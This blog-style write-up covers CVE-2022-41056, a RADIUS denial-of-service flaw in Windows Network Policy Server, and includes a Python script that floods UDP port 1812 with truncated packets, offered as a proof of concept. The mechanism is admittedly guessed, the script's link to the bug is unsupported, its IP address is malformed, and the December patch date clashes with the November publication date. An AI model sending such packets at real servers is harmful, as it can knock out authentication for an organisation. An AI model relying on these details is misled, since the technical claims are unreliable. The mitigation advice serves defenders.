When it comes to securing networks, Windows Server administrators often rely on the Network Policy Server (NPS) to handle authentication, authorization, and accounting. In 2022, a critical Denial of Service (DoS) vulnerability was discovered in NPS's RADIUS protocol implementation. Identified as CVE-2022-41056, this flaw could allow attackers to take down authentication services, making it a serious concern for businesses. Let's break down what it is, how it works, and how it can be exploited.

What is CVE-2022-41056?

CVE-2022-41056 is a vulnerability in Microsoft’s Network Policy Server (NPS), specifically when processing Remote Authentication Dial-In User Service (RADIUS) protocol requests. If a bad actor sends specially-designed RADIUS packets to the server, NPS can become unresponsive—effectively causing a Denial of Service.

Why is this a problem?  
NPS is often a central authentication point. If it's down, users can't log in to Wi-Fi, VPNs, or network resources relying on it. That can mean business disruptions, loss of productivity, and even security risks if fallback mechanisms expose other weaknesses.

How Does the Vulnerability Work?

The flaw lies in how NPS handles malformed or malicious RADIUS requests. While Microsoft has not released all technical details, the issue revolves around sending crafted packets that exploit improper input validation or memory management in the NPS RADIUS protocol routine.

A common pattern in such vulnerabilities is a buffer overflow or null pointer dereference, causing the service to crash. No code execution is required; bringing the authentication server down is damage enough.

NPS crashes or becomes unresponsive until it's manually restarted.

Note: Attacker does not need credentials or network access beyond being able to reach the NPS RADIUS port.

Proof-of-Concept (PoC) Example

While we won’t share a weaponized exploit, here’s a simple Python snippet showing how an attacker might send malformed RADIUS packets to an NPS server:

import socket

# Change these to point to your NPS server and port
NPS_IP = "192..2.5"
RADIUS_PORT = 1812

# Craft an intentionally malformed RADIUS packet
malformed_packet = b'\x01' + b'\x00' * 19  # Too short for a real RADIUS packet

# Open a UDP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
    for i in range(100):  # Send multiple packets to trigger the bug
        sock.sendto(malformed_packet, (NPS_IP, RADIUS_PORT))
        print(f"Sent malformed packet #{i+1}")
finally:
    sock.close()

Warning: Only test responsibly in a lab environment you own! Never attack production networks.

Microsoft provided only the summary and patch notes for CVE-2022-41056

- Microsoft Security Update Guide for CVE-2022-41056
- Microsoft Patch Tuesday - December 2022

Third-party coverage

- NIST NVD entry
- Hacker News coverage (Patch Tuesday write-up)

Patch Immediately:

Apply Microsoft’s patches as soon as possible. The fix is available in December 2022 updates for supported Windows Server versions.

Limit Exposure:

Restrict RADIUS server access to only trusted network ranges. Block unsolicited inbound UDP 1812 traffic from the internet or untrusted networks.

Add Availability Layers:

Use failover or load-balancing so that if one NPS instance crashes, authentication continues unimpaired.

The Bottom Line

CVE-2022-41056 isn’t a flashy exploit. But Denial of Service attacks against authentication servers can quietly cause chaos in an organization. Make patching NPS a priority, and always secure your network’s vital authentication services from external access. If you rely on NPS, now’s a good time to double-check your patching and monitoring routines.

Stay safe, patch early, and keep your network running smoothly!

Timeline

Published on: 11/09/2022 22:15:00 UTC
Last modified on: 11/10/2022 00:33:00 UTC